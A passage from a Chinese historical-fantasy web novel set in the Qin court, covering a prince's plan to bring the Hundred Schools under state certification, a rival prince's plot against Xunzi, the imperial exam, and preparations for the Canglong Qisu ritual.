“一切,仍以才学为准,唯才是举!”
这番话,听得淳于越等儒家官员心中稍稍一松,暗自感激涕零,觉得这位六公子虽然手段酷烈,却也还算明事理。
嬴政适时地缓缓开口,声音透过珠帘,平稳却带着无上威严。
“子夜所言,老成谋国。”
“罪止首恶,不牵连无辜,方显帝国气度。”
“此事,你处理得不错。”
得到父皇的肯定,赢子夜躬身谢恩。
“谢父皇!”
然而,就在淳于越等人刚刚把心放回肚子里的时候。
珠帘后的始皇声音陡然一转,变得冰冷而沉重!
那股如同实质般的帝威瞬间笼罩了整个大殿!
“但是——”
仅仅两个字,就让所有人心头猛地一紧!
“张良终究出身小圣贤庄,师承荀况,乃儒家当代翘楚。”
嬴政的声音如同寒冰摩擦,带着一种令人窒息的审视。
“其行此大逆不道之事,难道小圣贤庄,难道儒家…就当真毫无察觉?毫无责任吗?”
“若单单仅处罚张良一人,朕觉得…似乎有些轻了!”
轰!!!
此言一出,如同晴天霹雳,狠狠炸响在淳于越等儒家官员的头顶!
他们瞬间脸色惨白如纸,双腿发软,几乎要站立不住!
陛下这是……
要对儒家下手了?!
淳于越心中疯狂叫苦,冷汗瞬间湿透了朝服。
他下意识地想要出列辩解,却发现自己喉咙发干,一个字也说不出来!
他绝望地想到,一向能为儒家说上几句话的长公子扶苏,此刻还远在南疆历练,朝中还有谁能为他们儒家求情?
一股巨大的恐惧和绝望。
瞬间攫住了所有儒家出身官员的心脏!
就在整个朝堂被始皇那冰冷的问责压得喘不过气之际。
赢子夜再次上前一步,声音清晰而沉稳地开口,打破了那令人窒息的死寂。
“父皇息怒。”
“儿臣以为,小圣贤庄或有失察之责,然儒家学说,于教化百姓,规范伦理,确有其可取之处。”
“若因张良一人而彻底否定儒家,恐寒了天下向学之心,亦非帝国之福。”
他这话看似在为儒家开脱,让淳于越等人看到一丝希望,感激地望向他!!
然而,赢子夜接下来的话,却让他们的心再次沉入谷底!
不,是坠入更深的冰窟!<
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br>“然,父皇所虑极是!”
“诸子百家,超然物外,自成一统,虽依附于帝国,却不受帝国直接辖制,此确为隐患之根源。”
“长此以往,难免再生出第二个、第三个张良!”
他的声音陡然提高,带着一种开创性,不容置疑的决断。
“故,儿臣斗胆进言!”
“与其因噎废食,不如革故鼎新!”
“儿臣提议!非废百家之学,而当废百家之名!!”
“废名?”
珠帘之后,传来嬴政略带疑问却已然感兴趣的声音。
满朝文武亦是面面相觑,不明所以。
“正是!”
赢子夜目光灼灼,掷地有声。
“自今日始,天下间,不可再有人私相授受,随意自称儒家弟子、法家门人、墨家传承!”
“所有学派名号,传承之权,收徒之资格,尽数收归帝国!!”
他详细阐释道。
“唯有通过帝国科举选拔,由朝廷认可,授其官职,赐其印信者,方可代表其学派,传授其学说!”
“其所著文章,需经朝廷审核!”
“其所收门徒,需在官府登记造册!”
“未经帝国认可之传承,皆为私学,皆为异端!”
“如此一来,看似提升了百家之学的地位,使其成为官学正统。”
“实则却是将诸子百家所有的传承,所有的声音,所有的未来,都牢牢钳制于帝国的掌心之中!”
“从此,天下只有一种百家,那便是帝国的百家!”
“只有一种学说,那便是能用于大秦的学说!!!”
轰!
这番话,如同九天惊雷,在麒麟殿内每一个人的脑海中炸响!!
冯去疾、蒙恬等重臣瞬间瞪大了眼睛。
脸上充满了难以置信的震撼!
他们瞬间就明白了这“废名”之举背后那可怕深远的意图!
这不是毁灭,这是更高明彻底的征服和吞并!
这是要从根子上,断绝诸子百家独立存在的土壤!
李斯虽然早已听过这等言论,但此刻依旧感到心潮澎湃,看向赢子夜的目光充满了复杂的光芒。
而淳于越等儒家官员,更是如同被抽走了魂魄,呆立当场!!
他们终于明白了,这位六公子哪里是在帮儒家开脱,他是在用一把更温柔致命刀,**整个百家!
从此以后!
儒家将不再是那个“舍我其谁”的儒家!
而只是帝国允许存在,一个需要被认证的“官学”标签!
死寂!
整个朝堂陷入了一种极致的死寂!
所有人的目光都不由自主地投向御阶之上,等待着那最终的决断。
珠帘之后,良久无声。
终于,嬴政那平静无波,却带着一种洞悉一切和绝对满意意味的声音缓缓响起。
“彩!”
“子夜此议,深得朕心!”
“革故鼎新,正本清源!此策大善!”
“便依你所奏执行!”
“具体细则,由你与丞相李斯共同拟定,昭告天下!”
“臣(儿臣)领旨!陛下圣明!”
赢子夜与李斯齐声应诺,声音在寂静的大殿中格外清晰。
这一刻,所有人都知道……
一个时代,即将终结。
另一个由帝国绝对掌控的“百家争鸣”时代。
即将以一种前所未有的方式,被强行开启。
而主导这一切的,正是那位立于百官之前,玄衣如墨,深不可测的六公子——
赢子夜。
第295章 这便是废百家之名的好处!
咸阳城中。
那盖着皇帝玉玺和丞相大印的告示一经张贴,立刻如同在滚沸的油锅里泼进了一瓢冷水,炸起了轩然大波!
尤其是**了最多士子,也是诸子百家弟子最为集中的学馆区和客栈周围。
人群里三层外三层地围拢着,争相阅读着那石破天惊的旨意。
惊呼声、质疑声、愤怒的议论声瞬间淹没了街巷。
“废百家之名?这……这是什么意思?”
“岂有此理!我等师承学派,乃是学术传承,与朝廷何干?”
“凭什么要朝廷来认证?”
“这是要断绝我等学派传承吗?暴秦!果然是暴秦!”
“以后难道不能自称儒家弟子了?岂有此理!”
“朝廷这是要钳制天下言论,扼杀百家思想!”
不满与愤怒的情绪在人群中迅速蔓延。
许多年轻的百家弟子脸色涨红,情绪激动,仿佛心中最神圣的信仰被玷污,最根本的身份被剥夺。
他们感到一种前所未有的恐慌和抵触。
然而,就在这怨气即将汇聚成洪流之时。
几个不同的声音,巧妙地夹杂在喧闹的议论声中响起,显得格外“理智”和“有见地”。
一个看起来像是中年儒生模样的人,捋着胡须,若有所思地高声说道:“诸位,诸位!稍安勿躁!”
“依在下看来,大家或许是误会朝廷,误会六公子殿下的一片苦心了!”
这话立刻吸引了不少人的注意,许多愤怒的目光投向他。
那“儒生”不慌不忙,继续朗声道:“大家仔细想想,如今这天下,学派林立,鱼龙混杂!”
“是不是常有些宵小之辈,打着百家名号,招摇撞骗,甚至行那大逆不道之事?”
“就比如刚刚伏法的张良!”
“他岂不是玷污了儒家清名?”
这话引起了一些人的共鸣,不少人下意识地点了点头。
另一个商人打扮的人趁机接口,声音洪亮:“这位先生说得对啊!”
“朝廷此举,我看非但不是打压,反而是大大的抬举和保护咱们呐!”
他环视四周,声音充满诱惑力:“你们想想,以后,若是能通过科举,得到朝廷认证,那你出去说自己是‘儒家博士’、‘法家学士’,那是何等的荣耀?何等的身份?”
“那是代表朝廷,代表帝国学问的!”
“走到哪里,不得被人高看一眼?”
“这岂不是比现在自个儿关起门来称宗道祖,要威风得多?实在得多?”
人群中开始出现窃窃私语,一些人的眼神从愤怒变为了思索。
又一个看起来像是江湖术士的人插嘴道:“而且啊,有了朝廷认证,就等于有了靠山!”
“以后谁再敢随意冒充咱们学派干坏事,都不用咱们自己清理门户,朝廷律法第一个饶不了他!”
“这不就是变相地保护了咱们各大学派的清誉吗?”
“六公子殿下,这是用心良苦啊!”
“对啊!这么说来,好像真是这个道理!”
“如此一来,学问反而更受重视了!”
“是啊,免得被那些害群之马连累!”
这些声音你一言我一语,巧妙地引导着**。
他们将“废除百家之名”偷换概念为“朝廷认证,提升地位”。
将“掌控思想”包装成“保护清誉,提供保障”。
许多原本愤怒的学子渐渐被说动了。
他们开始觉得,似乎…这样也不错?
能有一个官方认可,高大上的身份,似乎确实比现在这样松散要好。
尤其是想到张良的例子。
更是让他们对“清理门户”有了几分期待。
那几名带节奏的“有心人”见状,相视一眼,露出不易察觉的笑意,随即悄然退出人群,向着下一个**点走去。
准备将这套说辞再次散播出去。
……
六公子府,书房。
窗外已是夕阳西下,暮色渐沉,将房间内映照得一片昏黄静谧。
赢子夜独自坐在案后,指尖一枚温润的玉佩缓缓转动,听着赵弋苍的低声禀报。
赵弋苍将今日城中各处对“废名”旨意的反应,尤其是暗河与黑冰台成员如何巧妙引导**,化解抵触情绪的经过,详细清晰地陈述了一遍。
“……大致情况便是如此。”
“起初虽有骚动不满,但经引导后,多数士子,尤其是年轻一辈,已渐趋认同,甚至开始期待朝廷认证后的‘官学’身份。”
“目前局势已在掌控之中。”
赢子夜听完,脸上并无太多意外之色,只是微微颔首,唇角勾起一抹极淡的,一切尽在掌握的弧度。
“做得不错。”
他声音平静。
“**如水,堵不如疏。”
“能让他们自己觉得这是好事,远比强行压制要有效得多。”
他放下玉佩,目光变得深邃起来。
“让暗河和黑冰台的人,继续加把劲。”
“我要在科举开始前,让这股‘风’吹遍咸阳每一个角落,吹进每一个百家弟子的耳朵里。”
“要让他们真心认为,此举乃帝国恩典,是为他们正名清源,是为了防止再出现张良这等败类玷污学派清誉!”
他的语气带着一种不容置疑的掌控欲。
“务必让绝大多数人认同此观点。”
“至于那些冥顽不灵,或是别有用心的…正好借此机会,看得更清楚些。”
“诺!卑职明白!定将主上之意,彻底贯彻下去!”
赵弋苍重重抱拳,眼中闪烁着对赢子夜手段的敬佩。
**诛心,莫过于此。
“去吧。”
赵弋苍的身影无声退入阴影。
……
与此同时,十八公子府邸。
与六公子府的冷静谋划截然不同,这里弥漫着一股
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压抑不住,暴戾的怒火。
“废物!都是一群废物!”
华丽的瓷器被狠狠砸在地上,碎片四溅。
胡亥脸色扭曲,胸膛剧烈起伏,那双原本俊秀的眼睛里燃烧着骇人的怒火和失望。
“张良!还自诩什么‘谋圣’!算无遗策?我呸!”
他尖厉的声音在奢华的房间内回荡,充满了刻毒的嘲讽。
“简直是天大的笑话!”
“不仅事情没办成,还把自己搭了进去,更是被赢子夜拿来当了垫脚石,踩着他的尸骨收买人心!”
“废物!彻头彻尾的废物!”
他气得来回踱步,如同一头被困住的暴躁野兽。
张良计划的失败,不仅让他借刀**的算计落空,更让他之前投入的资源和期望全都打了水漂。
这种感觉,比直接损失更让他难以忍受。
“还有项羽!刘季!”
“一个个号称豪杰枭雄,结果呢?连点像样的乱子都没掀起来,就被黑冰台和暗河像抓鸡一样给捏**!”
“无能!统统都是无能之辈!”
他猛地停下脚步,深吸了几口气,强行压下那几乎要冲破胸膛的暴怒。
事情已经发生,再骂也无济于事。
现在最重要的是……科举。
他绝不能让赢子夜顺顺利利地把这场科举办完。
那是赢子夜积累声望,稳固地位的关键一步,他必须将其破坏。
胡亥走到窗边,望着六公子府的方向,脸上重新浮现出那种阴冷扭曲的笑容!
只是这次,笑容里带着一丝孤注一掷的疯狂。
“还好……本公子从来不会把鸡蛋放在一个篮子里。”
他低声自语。
他转身,对一直如同影子般侍立在角落的心腹冷声道:“去,通知我们在朝中的那些‘朋友们’。”
他的声音变得极其冰冷,带着毫不掩饰的威胁。
“告诉他们,张良那群废物的下场,他们都看到了。”
“科举之事,本公子耗费了无数心血,绝不容有失!”
“让他们都把皮绷紧点,把眼睛擦亮些!”
“该做的事情,必须给本公子做到位!”
他顿了顿,眼中闪过嗜血的寒光。
“若是谁那边再出了纰漏,掉了链子…就别怪本公子…不念往日‘情分’了!”
那心腹身体微微一颤,立刻躬身,声音带着一丝恐惧。
“属下明白!定将公子的话原封不动带到!”
“去吧。”
胡亥挥了挥手,脸上重新恢复了那种慵懒而残忍的表情,仿佛刚才的暴怒从未发生过。
心腹如蒙大赦,迅速退下。
胡亥独自留在房中,看着窗外彻底沉下的夜色,嘴角的笑容愈发诡异。
“六哥啊六哥,你以为赢了张良就高枕无忧了么?”
“好戏…才刚刚开始呢。”
“这份‘大礼’,希望你会喜欢。”
第297章 苍龙七宿,是福还是祸!
沉重的考院大门彻底洞开。
士子们按照顺序,怀着紧张的心情,开始逐一接受核验。
核验官吏一丝不苟地核对户籍、路引、相貌。
搜检的兵士更是严格到了极致。
翻查书箱,检查衣物甚至发髻。
任何可能藏匿纸条的角落都不放过。
果然,在赢子夜那番话的震慑和严格的搜查下。
陆续有数十名心理防线崩溃或确实藏有夹带的士子,面色惨白,双腿发软地主动交出了藏在鞋底、衣缝、甚至是毛笔中的小抄。
被记录在案后,羞愧无比地低着头被允许进入。
然而,仍有二十几人抱着侥幸心理,试图隐藏,结果被兵士当场搜出。
“拖出去!”
负责此处的将领毫不留情,冷声下令。
“大人饶命!我再也不敢了!”
“我是被逼的!是我家主人让我……”
“求求您,给我一次机会吧!”
哀求声、哭嚎声响起。
但那几名士子依旧被如狼似虎的兵士毫不客气地拖离了队伍,剥夺了号牌,如同扔垃圾般扔出了警戒线外,迎来了周围无数鄙夷和唾弃的目光。
这一幕,深深震撼了所有在场的学子。
让他们彻底明白了帝国对科举公正性的决心。
恐惧之余,更多的是对舞弊者的不耻和对规则的敬畏。
经过这番插曲,核验搜检的速度更快,秩序也愈发井然。
当日上三竿之时,绝大多数士子均已顺利通过检查,怀着激动又紧张的心情,步入了那足以决定他们命运的考舍之中。
巨大的考院广场渐渐安静下来。
赢子夜与李斯等人立于高台之上,望着那一片肃静的考院。
“鸣钟!开考!”
赢子夜沉声下令。
“咚——!”
“咚——!”
“咚——!”
沉重而悠远的钟声响起,传遍整个咸阳。
大秦第一次科举考试,正式开始。
无数士子的命运,帝国的未来,都在这一刻,于笔尖悄然书写!
……
考院之内,肃穆无声。
数以千计的考舍整齐排列,如同沉默的军阵。
每一间考舍内,士子们正襟危坐,或凝神思索,或奋笔疾书,空气中弥漫着墨香与一种极致的紧张。
唯有笔尖划过竹简的沙沙声,如同春蚕食叶,细微却汇聚成一种令人心悸的磅礴力量。
考舍之间的通道上,披坚执锐的禁军卫士如同雕塑般矗立,目光如鹰隼,警惕地扫视着每一个角落,确保绝对没有任何干扰考试的因素。
他们的存在,本身就是一种无形的威压。
赢子夜玄衣玉冠,在一众官员的陪同下,无声地巡视着考场。
他的脚步很轻,目光却锐利如刀,仔细检查着每一处细节。
士子们的状态。
监考官吏的神情。
甚至角落里备用的灯油火烛是否安全。
行至供给饮食之处,他更是亲自驻足,仔细查验了饮水的清澈、饭食的洁净,甚至随机取样让人试吃,再三确认无误后方才点头。
“科举乃国之大事,亦是这些学子一生之转折。”
“饮食起居,皆不可有丝毫马虎。”
赢子夜对负责此处的官员低声嘱咐,语气不容置疑。
“臣等明白!绝不敢有丝毫懈怠!”
官员们躬身应诺,冷汗涔涔。
巡视完毕,见一切井然有序,并无异状,赢子夜微微颔首,对身旁的李斯、萧何等人道:“此处便有劳丞相与诸位大人费心看顾了。”
“若有任何变故,即刻报我。”
李斯等人连忙躬身:“殿下放心,臣等必竭尽全力!”
就在赢子夜准备返回高台继续坐镇之时,一名内侍匆匆而来,低声禀报:“殿下,陛下召见,请殿下即刻前往章台宫。”
赢子夜目光微动。
父皇此时召见,必有要事。
他不再耽搁,对李斯等人微微颔首,便随着内侍快步离开了这片寂静却暗流涌动的考院。
……
章台宫。
不同于考院的喧嚣与紧张。
此处一如既往地恢弘、肃穆、寂静。
高大的穹顶仿佛连接着天宇。
冰冷的黑曜石地面映照着稀疏的晨光。
嬴政并未端坐于龙榻之上,而是负手屹立在露台那高大的石栏前。
玄色帝袍在微风中轻轻拂动,他深邃的目光越过重重宫阙,仿佛在俯瞰着整个咸阳,乃至整个浩瀚的帝国疆土。
赢子夜步入殿内,步履无声,走到嬴政身后丈许之地,躬身行礼:“儿臣参见父皇。”
嬴政并未回头,只是淡淡地“嗯”了一声,声音平稳无波:“考院情况如何?”
赢子夜保持着躬身的姿态,声音清晰沉稳地回禀:“回父皇,一切顺利。”
“万余士子均已入场,核验搜检严格,无人再敢舞弊。”
“场内秩序井然,禁军看守严密,饮食供给无误。”
“此刻,士子们应正在专心答题。”
“嗯。”
嬴政再次应了一声,语气中听不出喜怒,但周身那股无形的压力似乎缓和了些许。
他依旧望着远方,良久,才缓缓开口,声音却陡然变得无比深沉
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、辽阔,带着一种吞吐天地的帝王气概:
“子夜,你可知,今日这场科举,天下有多少双眼睛在看着?”
“不仅仅是这咸阳城的百姓,不仅仅是这殿内的百官。”
他微微侧首,目光似乎能穿透虚空:“北疆那些刚刚臣服的部落使臣,此刻恐怕也正通过各种渠道,窥探着这场盛事。”
“他们在看,看我大秦是否真如宣称那般海纳百川,是否有足够的底气与胸襟,行此亘古未有之创举!”
他的声音逐渐提高,带着一种前所未有的豪情与重量:“不仅仅他们在看!”
“我大秦历代先王,襄公、穆公、孝公、昭襄王……”
“他们的英灵,此刻也必在这苍穹之上,注视着朕,注视着你,注视着这场科举!!”
“他们未能完成的夙愿,一统天下,书同文,车同轨,乃至今日这天下英才尽入吾彀中的景象!”
“朕,做到了!”
嬴政的声音如同洪钟大吕,在这空旷的殿内回荡,带着一种绝对的自信与骄傲!
“此乃天意,亦是朕与尔等臣工,不负先王所托!”
赢子夜深深躬身:“父皇功盖三皇,德超五帝,开创万世之基业!”
“儿臣能与父皇共襄此盛举,实乃毕生之幸!”
嬴政缓缓转过身,那双深邃如星海的眼眸落在赢子夜身上,之前的豪情稍稍收敛,取而代之的是一种更深沉的凝重。
“科举之事,已步入正轨,有李斯等人足矣。”
嬴政的声音恢复了平静。
“眼下,另一件关乎帝国命脉之事,已迫在眉睫。”
赢子夜心神一凛,垂首道:“请父皇示下。”
嬴政的目光变得幽深难测:“据黑冰台多年搜寻,并经多方确认,苍龙七宿所需之七国宝盒,如今已然尽数归入我大秦瓮中。”
他顿了顿,每一个字都重如山岳:“秦、楚、燕、齐、韩、赵、魏……”
“七盒齐聚!此乃数百年来未有之变局!!”
赢子夜屏住了呼吸,他知道,决定性的时刻即将到来。
嬴政凝视着他:“东皇太一此前已多次奏请,开启七宿之谜,时机已至。”
“子夜,你即刻前往蜃楼,与东皇太一最终商定开启之具体时日、地点,以及所需之一应准备。”
“此事,由你全权负责。”
“儿臣领旨!”
赢子夜重重躬身,眼中闪烁着锐利而凝重的光芒。
七盒齐聚,苍龙将启。
这背后隐藏的,是长生之秘?
是帝国永固之基?
还是……更深不可测的灾劫?!
第298章 七星贯日,便是苍龙七宿开启之时
蜃楼深处。
那间可窥星空的秘殿之内。
周天星斗的辉光幽冷地流转,将立于其中的赢子夜与东皇太一的身影映照得如同置身于宇宙洪荒。
空气凝滞,弥漫着一种近乎神圣又带着诡异压迫的气息。
赢子夜将始皇的旨意清晰传达。
东皇太一那笼罩在宽大黑袍与诡异面具下的身影微微颔首,并未感到意外,仿佛早已等待多时。
他缓缓抬起一只苍白修长的手,指向穹顶星图中某一片正在缓慢移动,逐渐汇聚的星辰。
声音透过面具传来。
低沉、缥缈,带着一种非人的韵律。
“七星连珠,天地交泰,乃星力最为鼎盛纯粹之时,亦是撬动苍龙七宿封印的最佳契机。”
他的指尖点向其中一颗尤为明亮的星辰轨迹。
“据星轨推算,来年春季,甲子月,庚辰日,午时三刻,正是七星贯日,力贯寰宇之刻!”
赢子夜目光锐利,紧盯着那片被点亮的星域。
将“来年春季,甲子月,庚辰日,午时三刻”这个时间点牢牢刻印在心中。
“地点。”
东皇太一的手势移动,星图变幻,最终凝聚成一座巍峨雄伟,气势磅礴的山岳虚影!
“需择一地脉雄厚,能承星力,接引地气,且近天听之处。”
“泰山,五岳独尊,乃封禅告天之所,不二之选!”
泰山之巅!
赢子夜眼中闪过一丝了然,此地确实意义非凡,且地势险要,易于掌控。
“至于所需之物。”
东皇太一继续道,声音毫无波澜,却列举着足以令世人疯狂的珍宝。
“七国宝盒为钥,自不必说。”
“然欲完全引导星力,冲开宿锁,尚需至纯能量为引,以及…沟通幽冥现世之奇物。”
“需九九八十一枚上品灵石,布设‘周天星引大阵’,接引并放大七星之力。”
“需火雨玛瑙九枚,此物蕴含地火精华与星辰泪力,可稳定撕裂封印时产生的空间波动,护持仪式众人。”
“另需…阴阳家秘传法器若干,由本座准备即可。”
赢子夜静静听完,脸上并无丝毫为难之色。
灵石虽珍贵,但以帝国之力搜集八十枚并非难事。
火雨玛瑙……他现在手里就有大半座矿的储备,亦非无解。
“可。”
赢子夜回答得干脆利落,声音沉稳。
“灵石与火雨玛瑙,本公子会如期备齐。”
“阴阳家所需法器,便有劳东皇阁下费心。”
他话锋陡然一转,目光如两道实质的冷电,射向东皇太一那深不见底的面具眼眸,语气变得无比森寒,带着不容置疑的绝对命令。
“然,此事关乎帝国命脉,关乎苍生社稷!”
“今日你我所定之时、之地、所需之物,除父皇之外,绝不可再有第三方知晓!”
“若有一字泄露……”
赢子夜没有说完。
但那骤然弥漫开来,混合着帝王威严的冰冷杀意,已让这星空秘殿的温度骤降。
甚至连周天星辰的运转仿佛都为之一滞。
东皇太一静静地面对着这股恐怖的压迫感。
良久,缓缓颔首,声音依旧平稳无波,却带着一种郑重的承诺。
“殿下放心,苍龙七宿之秘,阴阳家追寻数百载,亦不容有失。”
“此间一切,绝不会有丝毫外泄。”
“如此最好。”
赢子夜收敛了杀意,恢复平静。
“那便就此定下,来年春季,甲子月庚辰日,午时三刻,泰山之巅!”
“蜃楼静候殿下佳音。”
东皇太一微微躬身。
赢子夜不再多言,转身,玄衣拂动,一步步踏出这星辰秘殿,将那片幽深的星空和东皇太一那神秘莫测的身影,留在了身后。
……
六公子府书房内的烛火却依旧明亮,与远处沉寂的考院形成了鲜明的对比。
赢子夜刚从蜃楼返回不久,身上还带着一丝夜露的寒气和与东皇太一会面后的深沉思绪。
他坐在案后,指尖无意识地敲击着案牍,目光幽远。
轻轻的叩门声响起。
“进。”
房门被推开,丞相李斯带着一身疲惫却依旧保持着严谨仪态走了进来。
他先是恭敬行礼,随后才开口禀报,声音带着一丝沙哑,却条理清晰。
“殿下,今日科举第一场,已顺利结束。”
“士子们仍在考舍内休整,由监考官与医官轮班看顾,饮食起居一切如常。”
他略微停顿,继续道。
“场内秩序总体良好,并未出现大的骚乱或舞弊事件。”
“仅有十余名士子因身体不适或过度紧张中途退场,已由安排的医官照料。”
“章邯将军此刻正亲自带队在考院内外巡夜值守,确保万无一失。”
赢子夜静静听着,脸上并无太多表情,只是微微颔首。
“丞相辛苦了。”
李斯连忙躬身。
“此乃臣分内之事,不敢言辛苦。”
他犹豫了
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一下,还是补充道。
“首日顺利,固然可喜,然臣恐后续几日,人心浮动,易生事端……”
赢子夜抬起手,打断了他的话,目光锐利地看向他。
“丞相所虑,正是本公子所忧。”
“开局顺利固然好,但越是到最后关头,越是不能有丝毫松懈麻痹!”
他站起身,踱步到窗前,望着考院的方向,声音沉稳而带着不容置疑的指令。
“尤其是夜间防火!”
“告诉章邯,巡夜人手再加一倍!”
“所有灯烛火源,必须定时巡查,水缸沙土必须时刻满盈待用!”
“考院之内,绝不容半点火星!”
“越是到最后几天,越是要给本公子瞪大眼睛!”
“绝不能功亏一篑,在结束时闹出乱子!”
“臣明白!定将殿下指令一字不落传达给章邯将军!”
李斯神色一凛,立刻应道。
防火乃是重中之重,一旦失火,数万份试卷和整个考院都可能毁于一旦,那将是惊天动地的灾难。
赢子夜沉吟片刻,又道。
“还有,医师人手也要备足。”
“连考三日,对士子身心皆是极大考验。”
“难免有人支撑不住,或是突发恶疾。”
“多安排些经验丰富的医官值守,所需药材务必充足。”
“既要防身体之疾,也要防有人因压力过大而行极端之事。”
“我们要做的,是确保科举顺利进行,而不是制造恐慌。”
他考虑得极为周全,不仅关注宏观的安全,甚至连士子的心理和身体状况都想到了。
李斯闻言,心中更是敬佩,连忙道:
“殿下思虑周详,体恤士子,臣钦佩!”
“臣这便去安排,增调太医署医师入驻考院附近候命,并备足各类应急药材。”
“去吧。”
赢子夜挥了挥手。
“告诉下面的人,打起精神,这三天,给本公子死死守住!”
“待科举圆满结束,本公子亲自为他们向父皇请功!”
“诺!臣代上下将士官吏,谢殿下!”
李斯精神一振,躬身领命,快步退了出去。
有了赢子夜这番恩威并施的指令和承诺,他更有底气去督促各方了。
书房内,赢子夜独自立于窗前,目光依旧凝重。
科举不能出错。
苍龙七宿之事更是绝密。
还有隐藏在暗处的那些人。
千头万绪,如同无数暗流,在这寂静的夜色下汹涌澎湃。
第299章 还真有人不怕死!!!
十八公子府邸。
极尽奢华的暖阁内,却弥漫着一种与华贵装饰格格不入的阴冷算计。
胡亥懒洋洋地倚在软榻上,指尖把玩着一枚玉珏,听着心腹低声禀报着科举第一日考场内外的“平静”景象。
他脸上带着一丝玩味和不屑的冷笑。
“风平浪静?呵,我那六哥倒是把场面功夫做得十足。”
他嗤笑一声,将玉珏随手扔回盘中。
“这才第一天,好戏还没开场呢。”
一旁的心腹低声请示。
“公子,我们安排的人…是否要开始行动?制造些小混乱也好……”
“急什么?”
胡亥瞥了他一眼,眼神如同毒蛇般冰冷。
“现在他们神经正紧绷着,此时动手,不过是自投罗网。”
“等,耐心等着。”
“等到后面几天,等到他们都以为万事大吉,开始松懈疲惫的时候…那才是动手的最佳时机。”
他嘴角勾起一抹残忍的弧度。
“我要的,不是小打小闹,而是要在他最志得意满的时候,给他致命一击!”
“让这场科举,变成一场天大的笑话!”
心腹连忙低头。
“公子英明,是属下心急了。”
就在这时,另一名心腹悄无声息地快步走入,凑到胡亥耳边,用极低的声音急促禀报了几句。
原本慵懒的胡亥,眼神骤然一凝,猛地坐直了身体。
“荀夫子?那个老家伙离开小圣贤庄,只身往咸阳来了?”
他脸上闪过一丝惊讶,随即迅速被一种极其阴险的算计所取代。
他短暂地沉思了片刻,手指无意识地敲击着软榻的扶手。
很快,他脸上露出了恍然大悟的神情,随即化为一种极其兴奋和残忍的笑容,仿佛发现了绝佳的猎物。
“呵…呵呵……我明白了。”
胡亥低声笑了起来,声音尖细而令人毛骨悚然。
“这老东西,是看张良把事情搞砸了,怕赢子夜迁怒整个儒家,这是要亲自来咸阳,摆出姿态,替我那位好六哥‘分忧解难’,替他收买人心来了啊!”
他猛地站起身,在暖阁内踱了两步,眼中的光芒越来越亮,越来越毒。
他忽然停下脚步,看向那名前来报信的心腹,脸上露出一个近乎天真却充满了恶毒的笑容。
仿佛在说什么有趣的事情。
“诶,你说……要是这位德高望重,堪称当世大贤的荀夫子,好端端的,突然死在了前来咸阳向我六哥请罪的路上……”
他故意拉长了语调,观察着心腹的反应。
那心腹先是一愣。
随即瞬间明白了主子的意图。
眼中闪过骇然之色,但立刻被一种执行命令的冷酷所取代,他压低声音道:
“若真如此…儒家上下,乃至天下仰慕荀夫子的文人,必定群情激愤!”
“他们绝不会相信是意外,只会认为…是六公子心胸狭窄,不容于人,甚至可能是…**灭口!”
“届时,六公子便是黄泥掉进裤裆里,不是屎也是屎!”
“跳进黄河也洗不清!”
“他与儒家,将结成死仇!”
“哈哈!说得好!说得太好了!”
胡亥抚掌大笑,笑容扭曲而畅快。
“就是要让他赢子夜百口莫辩!”
“让他好不容易收拢的那点人心,瞬间崩塌!”
他缓缓走到那名心腹面前,亲昵地拍了拍对方的肩膀,身体微微前倾,声音压得极低。
如同毒蛇吐信,带着令人不寒而栗的亲昵和杀意。
“所以…你知道,接下来,该如何去做了吗?”
那心腹身体微微一颤,但立刻垂下头,声音坚定而冰冷。
“属下明白!请公子放心!”
“属下一定‘妥善安排’,绝不会让荀夫子…活着踏入咸阳城半步!”
胡亥满意地笑了,笑容灿烂而残忍,他轻轻替心腹整理了一下并不凌乱的衣领,柔声道。
“去吧,做得干净利落些。”
“别留下什么…让人说闲话的把柄。”
“诺!”
心腹重重领命,不再多言,转身迅速消失在暖阁的阴影之中。
胡亥独自留在阁内,脸上的笑容愈发扩大,最终变成了无声,却充满了疯狂意味的大笑。
“六哥啊六哥,你忙着你的千秋大业,弟弟我…再送你一份‘厚礼’!”
“希望你喜欢!”
……
翌日。
考院之内依旧肃穆。
但经过第一日的适应,空气中那极致的紧张感似乎稍稍缓解了一些。
取而代之的是一种更加深沉,专注于笔尖博弈的凝重。
赢子夜依旧在丞相李斯、将作少府章邯等人的陪同下,进行着例行的巡视。
玄衣身影所过之处,无论是监考官吏还是巡逻卫士,无不更加挺直了腰板,打起了十二分的精神。
行至专为应对突发状况而设置的医官区时。
赢子夜看到了一个意料之外却又在情理之中的身影。
端木蓉。
她一袭素净的布衣,并未穿着官服,
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正安静地坐在一旁,就着天光翻阅着一卷医书,身旁放着她的药箱。
她神情专注而清冷,仿佛周遭的紧张气氛都与她无关。
唯有在偶尔抬头查看不远处几位因压力过大而前来寻求安神汤药的学子时,眼中才会流露出一丝属于医者的柔和。
赢子夜并未打扰她,只是目光在她身上停留了一瞬便移开。
他更关心的是考场的整体安全。
“章邯。”
赢子夜声音不高。
“末将在!”
章邯立刻上前一步,甲叶轻响,低声禀报。
“回殿下,昨夜巡夜一切正常,并未发现任何可疑人物靠近考院,内部亦无任何火患隐患。”
“只是……”
他顿了顿,补充道:
“夜间有数名学子因思虑过甚,心悸失眠,甚至有一人短暂昏厥,均已由医官及时救治,并无大碍。”
赢子夜微微颔首,对此并不意外。
连续三日的高压考试,对身心皆是巨大的考验。
“增派的医师和药材可都到位了?”
“均已到位,足够应对。”
章邯笃定回答。
“嗯,越是最后两日,越不可松懈。”
赢子夜再次强调,目光扫过那些正伏案疾书的士子,正准备继续向前巡视。
就在这时。
一个清冷却异常清晰的声音,带着不容置疑的锐利,突然从医官区方向传来。
“站住!”
这声音在寂静的考场中显得格外突兀,瞬间打破了原有的节奏。
赢子夜、李斯、章邯以及所有随行人员皆是一怔,下意识地停下脚步,扭头循声望去。
只见端木蓉不知何时已合上了医书,站了起来。
她那双平日沉静如水的眸子,此刻却微微眯起。
闪烁着一种医者特有,对某些气息极其敏感的锐光。
正死死地盯着不远处一队正低头垂目,准备给各考舍分发午膳的宦官。
她的目光,精准地锁定在那些宦官手中提着的多层叠放的朱漆食盒之上。
而那队宦官,也被这突如其来的呵斥和众多高官的目光注视,吓得顿时僵在原地,手足无措,脸色发白,不知发生了何事。
章邯眉头一皱,正要开口询问端木蓉何故惊扰。
却见端木蓉根本无视其他人。
她的全部注意力都集中在那批食盒上,鼻翼微不可察地轻轻翕动了一下。
清冷的声音带着一丝不容错辨的凝重,再次响起!
“你们手里的饭菜……不对劲!”
第299章 还真有人不怕死!!!
十八公子府邸。
